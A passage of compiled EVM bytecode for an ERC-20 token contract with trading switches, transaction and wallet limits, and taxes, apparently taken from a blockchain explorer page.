50505050565b6000601f19601f8301169050919050565b6000612b1182612aaf565b612b1b8185612aba565b9350612b2b818560208601612acb565b612b3481612af5565b840191505092915050565b60006020820190508181036000830152612b598184612b06565b905092915050565b600080fd5b612b6f81612a3f565b8114612b7a57600080fd5b50565b600081359050612b8c81612b66565b92915050565b612b9b81612a7b565b8114612ba657600080fd5b50565b600081359050612bb881612b92565b92915050565b60008060408385031215612bd557612bd4612b61565b5b6000612be385828601612b7d565b9250506020612bf485828601612ba9565b9150509250929050565b60008115159050919050565b612c1381612bfe565b82525050565b6000602082019050612c2e6000830184612c0a565b92915050565b6000819050919050565b6000612c59612c54612c4f84612a1f565b612c34565b612a1f565b9050919050565b6000612c6b82612c3e565b9050919050565b6000612c7d82612c60565b9050919050565b612c8d81612c72565b82525050565b6000602082019050612ca86000830184612c84565b92915050565b600080600060608486031215612cc757612cc6612b61565b5b6000612cd586828701612b7d565b9350506020612ce686828701612b7d565b9250506040612cf786828701612ba9565b9150509250925092565b600060208284031215612d1757612d16612b61565b5b6000612d2584828501612b7d565b91505092915050565b600060ff82169050919050565b612d4481612d2e565b82525050565b6000602082019050612d5f6000830184612d3b565b92915050565b60008060408385031215612d7c57612d7b612b61565b5b6000612d8a85828601612b7d565b9250506020612d9b85828601612b7d565b9150509250929050565b612dae81612bfe565b8114612db957600080fd5b50565b600081359050612dcb81612da5565b92915050565b60008060408385031215612de857612de7612b61565b5b6000612df685828601612b7d565b9250506020612e0785828601612dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e5157612e50612e11565b5b50565b6000819050612e6282612e40565b919050565b6000612e7282612e54565b9050919050565b612e8281612e67565b82525050565b6000602082019050612e9d6000830184612e79565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612eea57607f821691505b602082108103612efd57612efc612ea3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f3d82612a7b565b9150612f4883612a7b565b9250828201905080821115612f6057612f5f612f03565b5b92915050565b600081519050612f7581612b66565b92915050565b600060208284031215612f9157612f90612b61565b5b6000612f9f84828501612f66565b91505092915050565b6000604082019050612fbd6000830185612a51565b612fca6020830184612a51565b9392505050565b6000819050919050565b6000612ff6612ff1612fec84612fd1565b612c34565b612a7b565b9050919050565b61300681612fdb565b82525050565b600060c0820190506130216000830189612a51565b61302e6020830188612a85565b61303b6040830187612ffd565b6130486060830186612ffd565b6130556080830185612a51565b61306260a0830184612a85565b979650505050505050565b60008151905061307c81612b92565b92915050565b60008060006060848603121561309b5761309a612b61565b5b60006130a98682870161306d565b93505060206130ba8682870161306d565b92505060406130cb8682870161306d565b9150509250925092565b7f54726164696e6720697320616c726561647920656e61626c6564000000000000600082015250565b600061310b601a83612aba565b9150613116826130d5565b602082019050919050565b6000602082019050818103600083015261313a816130fe565b9050919050565b60006020828403121561315757613156612b61565b5b60006131658482850161306d565b91505092915050565b60006040820190506131836000830185612a51565b6131906020830184612a85565b9392505050565b6000815190506131a681612da5565b92915050565b6000602082840312156131c2576131c1612b61565b5b60006131d084828501613197565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b61326c81612a3f565b82525050565b600061327e8383613263565b60208301905092915050565b6000602082019050919050565b60006132a282613237565b6132ac8185613242565b93506132b783613253565b8060005b838110156132e85781516132cf8882613272565b97506132da8361328a565b9250506001810190506132bb565b5085935050505092915050565b600060808201905061330a6000830187612ffd565b818103602083015261331c8186613297565b905061332b6040830185612a51565b6133386060830184612a85565b95945050505050565b60006060820190506133566000830186612a51565b6133636020830185612a51565b6133706040830184612a85565b949350505050565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b60006133d4602583612aba565b91506133df82613378565b604082019050919050565b60006020820190508181036000830152613403816133c7565b9050919050565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000613466602683612aba565b91506134718261340a565b604082019050919050565b6000602082019050818103600083015261349581613459565b9050919050565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b60006134f8602483612aba565b91506135038261349c565b604082019050919050565b60006020820190508181036000830152613527816134eb565b9050919050565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b600061358a602283612aba565b91506135958261352e565b604082019050919050565b600060208201905081810360008301526135b98161357d565b9050919050565b7f45524332303a20696e73756666696369656e7420616c6c6f77616e6365000000600082015250565b60006135f6601d83612aba565b9150613601826135c0565b602082019050919050565b60006020820190508181036000830152613625816135e9565b9050919050565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000613688602583612aba565b91506136938261362c565b604082019050919050565b600060208201905081810360008301526136b78161367b565b9050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b600061371a602383612aba565b9150613725826136be565b604082019050919050565b600060208201905081810360008301526137498161370d565b9050919050565b7f54726164696e67206e6f7420656e61626c656400000000000000000000000000600082015250565b6000613786601383612aba565b915061379182613750565b602082019050919050565b600060208201905081810360008301526137b581613779565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7420626566000000602082015250565b6000613818603d83612aba565b9150613823826137bc565b604082019050919050565b600060208201905081810360008301526138478161380b565b9050919050565b7f45524332303a2062616c616e636520616d6f756e74206578636565646564206d60008201527f61782077616c6c657420616d6f756e74206c696d697400000000000000000000602082015250565b60006138aa603683612aba565b91506138b58261384e565b604082019050919050565b600060208201905081810360008301526138d98161389d565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473207460008201527f6865206d6178207472616e73616374696f6e20616d6f756e7400000000000000602082015250565b600061393c603983612aba565b9150613947826138e0565b604082019050919050565b6000602082019050818103600083015261396b8161392f565b9050919050565b600061397d82612a7b565b915061398883612a7b565b925082820261399681612a7b565b915082820484148315176139ad576139ac612f03565b5b5092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006139ee82612a7b565b91506139f983612a7b565b925082613a0957613a086139b4565b5b828204905092915050565b6000613a1f82612a7b565b9150613a2a83612a7b565b9250828203905081811115613a4257613a41612f03565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000613a7e602083612aba565b9150613a8982613a48565b602082019050919050565b60006020820190508181036000830152613aad81613a71565b9050919050565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b6000613b10602683612aba565b9150613b1b82613ab4565b604082019050919050565b60006020820190508181036000830152613b3f81613b03565b9050919050565b600060a082019050613b5b6000830188612a85565b613b686020830187612a85565b8181036040830152613b7a8186613297565b9050613b896060830185612a51565b613b966080830184612a85565b969550505050505056fea2646970667358221220131c46552c0cfb0eb8f85c7969b3d81422c8d9148d95a9970087e5ea11f42ca964736f6c63430008120033

Deployed Bytecode

0x6080604052600436106102085760003560e01c8063751039fc11610118578063a457c2d7116100a0578063dd62ed3e1161006f578063dd62ed3e1461074d578063e5b37a651461078a578063ef437ff5146107c7578063f2fde38b146107f0578063fca675a8146108195761020f565b8063a457c2d71461067d578063a9059cbb146106ba578063aa4bde28146106f7578063b61b64fa146107225761020f565b80638c0b5e22116100e75780638c0b5e22146105a85780638da5cb5b146105d357806395d89b41146105fe5780639e281a9814610629578063a014f37d146106525761020f565b8063751039fc14610514578063883755631461052b57806389476069146105425780638baa82491461056b5761020f565b8063313ce5671161019b57806349bd5a5e1161016a57806349bd5a5e1461046057806354b762a61461048b5780635ea7e69a146104b657806370a08231146104c0578063715018a6146104fd5761020f565b8063313ce567146103a257806333ee1793146103cd57806339509351146103f85780633eb5d9b2146104355761020f565b80631694505e116101d75780631694505e146102d257806318160ddd146102fd57806323b872dd146103285780632fee9e7e146103655761020f565b806303fd2a45146102145780630445b6671461023f57806306fdde031461026a578063095ea7b3146102955761020f565b3661020f57005b600080fd5b34801561022057600080fd5b50610229610844565b6040516102369190612a60565b60405180910390f35b34801561024b57600080fd5b5061025461086a565b6040516102619190612a94565b60405180910390f35b34801561027657600080fd5b5061027f610870565b60405161028c9190612b3f565b60405180910390f35b3480156102a157600080fd5b506102bc60048036038101906102b79190612bbe565b610902565b6040516102c99190612c19565b60405180910390f35b3480156102de57600080fd5b506102e7610925565b6040516102f49190612c93565b60405180910390f35b34801561030957600080fd5b50610312610949565b60405161031f9190612a94565b60405180910390f35b34801561033457600080fd5b5061034f600480360381019061034a9190612cae565b610953565b60405161035c9190612c19565b60405180910390f35b34801561037157600080fd5b5061038c60048036038101906103879190612d01565b610982565b6040516103999190612c19565b60405180910390f35b3480156103ae57600080fd5b506103b76109a2565b6040516103c49190612d4a565b60405180910390f35b3480156103d957600080fd5b506103e26109ab565b6040516103ef9190612a94565b60405180910390f35b34801561040457600080fd5b5061041f600480360381019061041a9190612bbe565b6109b1565b60405161042c9190612c19565b60405180910390f35b34801561044157600080fd5b5061044a6109e8565b6040516104579190612a94565b60405180910390f35b34801561046c57600080fd5b506104756109ee565b6040516104829190612a60565b60405180910390f35b34801561049757600080fd5b506104a0610a14565b6040516104ad9190612c19565b60405180910390f35b6104be610a90565b005b3480156104cc57600080fd5b506104e760048036038101906104e29190612d01565b610d79565b6040516104f49190612a94565b60405180910390f35b34801561050957600080fd5b50610512610dc1565b005b34801561052057600080fd5b50610529610dd5565b005b34801561053757600080fd5b50610540610e05565b005b34801561054e57600080fd5b5061056960048036038101906105649190612d01565b610e95565b005b34801561057757600080fd5b50610592600480360381019061058d9190612d01565b610fba565b60405161059f9190612c19565b60405180910390f35b3480156105b457600080fd5b506105bd610fda565b6040516105ca9190612a94565b60405180910390f35b3480156105df57600080fd5b506105e8610fe0565b6040516105f59190612a60565b60405180910390f35b34801561060a57600080fd5b5061061361100a565b6040516106209190612b3f565b60405180910390f35b34801561063557600080fd5b50610650600480360381019061064b9190612bbe565b61109c565b005b34801561065e57600080fd5b506106676113cc565b6040516106749190612c19565b60405180910390f35b34801561068957600080fd5b506106a4600480360381019061069f9190612bbe565b611418565b6040516106b19190612c19565b60405180910390f35b3480156106c657600080fd5b506106e160048036038101906106dc9190612bbe565b61148f565b6040516106ee9190612c19565b60405180910390f35b34801561070357600080fd5b5061070c6114b2565b6040516107199190612a94565b60405180910390f35b34801561072e57600080fd5b506107376114b8565b6040516107449190612a94565b60405180910390f35b34801561075957600080fd5b50610774600480360381019061076f9190612d65565b6114be565b6040516107819190612a94565b60405180910390f35b34801561079657600080fd5b506107b160048036038101906107ac9190612d01565b611545565b6040516107be9190612c19565b60405180910390f35b3480156107d357600080fd5b506107ee60048036038101906107e99190612dd1565b611565565b005b3480156107fc57600080fd5b5061081760048036038101906108129190612d01565b6115c8565b005b34801561082557600080fd5b5061082e61164b565b60405161083b9190612e88565b60405180910390f35b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a5481565b60606003805461087f90612ed2565b80601f01602080910402602001604051908101604052809291908181526020018280546108ab90612ed2565b80156108f85780601f106108cd576101008083540402835291602001916108f8565b820191906000526020600020905b8154815290600101906020018083116108db57829003601f168201915b5050505050905090565b60008061090d61165e565b905061091a818585611666565b600191505092915050565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d81565b6000600254905090565b60008061095e61165e565b905061096b85828561182f565b6109768585856118bb565b60019150509392505050565b600e6020528060005260406000206000915054906101000a900460ff1681565b60006012905090565b60125481565b6000806109bc61165e565b90506109dd8185856109ce85896114be565b6109d89190612f32565b611666565b600191505092915050565b60115481565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc6016549081150290604051600060405180830381858888f19350505050158015610a80573d6000803e3d6000fd5b5060006016819055506001905090565b610a98612275565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b279190612f7b565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610bae573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bd29190612f7b565b6040518363ffffffff1660e01b8152600401610bef929190612fa8565b6020604051808303816000875af1158015610c0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c329190612f7b565b601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cbd307f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff611666565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663f305d7193430610d0430610d79565b600080610d0f610fe0565b426040518863ffffffff1660e01b8152600401610d319695949392919061300c565b60606040518083038185885af1158015610d4f573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610d749190613082565b505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610dc9612275565b610dd360006122f3565b565b610ddd612275565b6b033b2e3c9fd0803ce80000006008819055506b033b2e3c9fd0803ce8000000600981905550565b610e0d612275565b601060029054906101000a900460ff1615610e5d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e5490613121565b60405180910390fd5b6001601060026101000a81548160ff0219169083151502179055506001601060036101000a81548160ff021916908315150217905550565b610e9d612275565b8073ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610f159190612a60565b602060405180830381865afa158015610f32573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f569190613141565b6040518363ffffffff1660e01b8152600401610f7392919061316e565b6020604051808303816000875af1158015610f92573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610fb691906131ac565b5050565b600f6020528060005260406000206000915054906101000a900460ff1681565b60085481565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606004805461101990612ed2565b80601f016020809104026020016040519081016040528092919081815260200182805461104590612ed2565b80156110925780601f1061106757610100808354040283529160200191611092565b820191906000526020600020905b81548152906001019060200180831161107557829003601f168201915b5050505050905090565b6000600267ffffffffffffffff8111156110b9576110b86131d9565b5b6040519080825280602002602001820160405280156110e75781602001602082028036833780820191505090505b5090507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611155573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111799190612f7b565b8160008151811061118d5761118c613208565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505030816001815181106111dc576111db613208565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505060008160018151811061122c5761122b613208565b5b60200260200101519050600d60003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1661131f577f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663b6f9de958460008588426040518663ffffffff1660e01b81526004016112e894939291906132f5565b6000604051808303818588803b15801561130157600080fd5b505af1158015611315573d6000803e3d6000fd5b50505050506113c6565b61132984846123b9565b8073ffffffffffffffffffffffffffffffffffffffff166323b872dd858460018151811061135a57611359613208565b5b6020026020010151866040518463ffffffff1660e01b815260040161138193929190613341565b6020604051808303816000875af11580156113a0573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113c491906131ac565b505b50505050565b60006113d6612275565b6003601060006101000a81548160ff021916908360038111156113fc576113fb612e11565b5b0217905550600060118190555060006012819055506001905090565b60008061142361165e565b9050600061143182866114be565b905083811015611476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161146d906133ea565b60405180910390fd5b6114838286868403611666565b60019250505092915050565b60008061149a61165e565b90506114a78185856118bb565b600191505092915050565b60095481565b60165481565b6000600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600d6020528060005260406000206000915054906101000a900460ff1681565b61156d612275565b80600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b6115d0612275565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff160361163f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116369061347c565b60405180910390fd5b611648816122f3565b50565b601060009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036116d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116cc9061350e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611744576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161173b906135a0565b60405180910390fd5b80600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516118229190612a94565b60405180910390a3505050565b600061183b84846114be565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146118b557818110156118a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161189e9061360c565b60405180910390fd5b6118b48484848403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361192a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119219061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611999576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161199090613730565b60405180910390fd5b600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611a3d5750600d60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611a9257601060029054906101000a900460ff16611a91576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a889061379c565b60405180910390fd5b5b600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611b365750600e60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b15611c2f57601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614611c2e57600854811115611bd5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bcc9061382e565b60405180910390fd5b600954611be183610d79565b82611bec9190612f32565b1115611c2d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c24906138c0565b60405180910390fd5b5b5b6000819050600d60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600d60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561226457601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480611d865750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b1561217657600854821115611dd0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dc790613952565b60405180910390fd5b8373ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148015611e775750600e60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611eaf57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b15611f815760006003811115611ec857611ec7612e11565b5b601060009054906101000a900460ff166003811115611eea57611ee9612e11565b5b03611f48576001600f60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b6000606460115484611f5a9190613972565b611f6491906139e3565b9050611f71853083612407565b8083611f7d9190613a14565b9150505b8273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156120285750600e60008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b801561206057503073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156120785750601060039054906101000a900460ff165b80156120915750601060019054906101000a900460ff16155b15612171576000601254905060011515600f60008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161515036120fb5760135490505b6001601060016101000a81548160ff02191690831515021790555061211e61267d565b6000601060016101000a81548160ff0219169083151502179055506000606482856121499190613972565b61215391906139e3565b9050612160863083612407565b808461216c9190613a14565b925050505b612263565b60011515600f60008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514801561222457508273ffffffffffffffffffffffffffffffffffffffff16601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614155b1561226257600060646013548461223b9190613972565b61224591906139e3565b9050612252853083612407565b808361225e9190613a14565b9150505b5b5b61226f848483612407565b50505050565b61227d61165e565b73ffffffffffffffffffffffffffffffffffffffff1661229b610fe0565b73ffffffffffffffffffffffffffffffffffffffff16146122f1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016122e890613a94565b60405180910390fd5b565b6000600560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600030905060006123ca82856114be565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114612401576124008483858403611666565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603612476576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161246d9061369e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036124e5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016124dc90613730565b60405180910390fd5b6124f0838383612744565b60008060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015612576576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161256d90613b26565b60405180910390fd5b8181036000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550816000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516126649190612a94565b60405180910390a3612677848484612749565b50505050565b600061268830610d79565b03156127425760008061269a30610d79565b9050600047905060006126ce600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610d79565b90506000600a5484111561273c574792506126ea84600061274e565b82476126f69190613a14565b9450600a54821115612722578061270e576000612710565b845b8561271b91906139e3565b6016819055505b84601660008282546127349190612f32565b925050819055505b50505050505b565b505050565b505050565b6000600267ffffffffffffffff81111561276b5761276a6131d9565b5b6040519080825280602002602001820160405280156127995781602001602082028036833780820191505090505b50905030816000815181106127b1576127b0613208565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612856573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061287a9190612f7b565b8160018151811061288e5761288d613208565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250503073ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161294392919061316e565b6020604051808303816000875af1158015612962573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061298691906131ac565b507f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663791ac94784848430426040518663ffffffff1660e01b81526004016129e8959493929190613b46565b600060405180830381600087803b158015612a0257600080fd5b505af1158015612a16573d6000803e3d6000fd5b50505050505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000612a4a82612a1f565b9050919050565b612a5a81612a3f565b82525050565b6000602082019050612a756000830184612a51565b92915050565b6000819050919050565b612a8e81612a7b565b82525050565b6000602082019050612aa96000830184612a85565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b83811015612ae9578082015181840152602081019050612ace565b60008484015250505050565b6000601f19601f8301169050919050565b6000612b1182612aaf565b612b1b8185612aba565b9350612b2b818560208601612acb565b612b3481612af5565b840191505092915050565b60006020820190508181036000830152612b598184612b06565b905092915050565b600080fd5b612b6f81612a3f565b8114612b7a57600080fd5b50565b600081359050612b8c81612b66565b92915050565b612b9b81612a7b565b8114612ba657600080fd5b50565b600081359050612bb881612b92565b92915050565b60008060408385031215612bd557612bd4612b61565b5b6000612be385828601612b7d565b9250506020612bf485828601612ba9565b9150509250929050565b60008115159050919050565b612c1381612bfe565b82525050565b6000602082019050612c2e6000830184612c0a565b92915050565b6000819050919050565b6000612c59612c54612c4f84612a1f565b612c34565b612a1f565b9050919050565b6000612c6b82612c3e565b9050919050565b6000612c7d82612c60565b9050919050565b612c8d81612c72565b82525050565b6000602082019050612ca86000830184612c84565b92915050565b600080600060608486031215612cc757612cc6612b61565b5b6000612cd586828701612b7d565b9350506020612ce686828701612b7d565b9250506040612cf786828701612ba9565b9150509250925092565b600060208284031215612d1757612d16612b61565b5b6000612d2584828501612b7d565b91505092915050565b600060ff82169050919050565b612d4481612d2e565b82525050565b6000602082019050612d5f6000830184612d3b565b92915050565b60008060408385031215612d7c57612d7b612b61565b5b6000612d8a85828601612b7d565b9250506020612d9b85828601612b7d565b9150509250929050565b612dae81612bfe565b8114612db957600080fd5b50565b600081359050612dcb81612da5565b92915050565b60008060408385031215612de857612de7612b61565b5b6000612df685828601612b7d565b9250506020612e0785828601612dbc565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602160045260246000fd5b60048110612e5157612e50612e11565b5b50565b6000819050612e6282612e40565b919050565b6000612e7282612e54565b9050919050565b612e8281612e67565b82525050565b6000602082019050612e9d6000830184612e79565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680612eea57607f821691505b602082108103612efd57612efc612ea3565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612f3d82612a7b565b9150612f4883612a7b565b9250828201905080821115612f6057612f5f612f03565b5b92915050565b600081519050612f7581612b66565b92915050565b600060208284031215612f9157612f90612b61565b5b6000612f9f84828501612f66565b91505092915050565b6000604082019050612fbd6000830185612a51565b612fca6020830184612a51565b9392505050565b6000819050919050565b6000612ff6612ff1612fec84612fd1565b612c34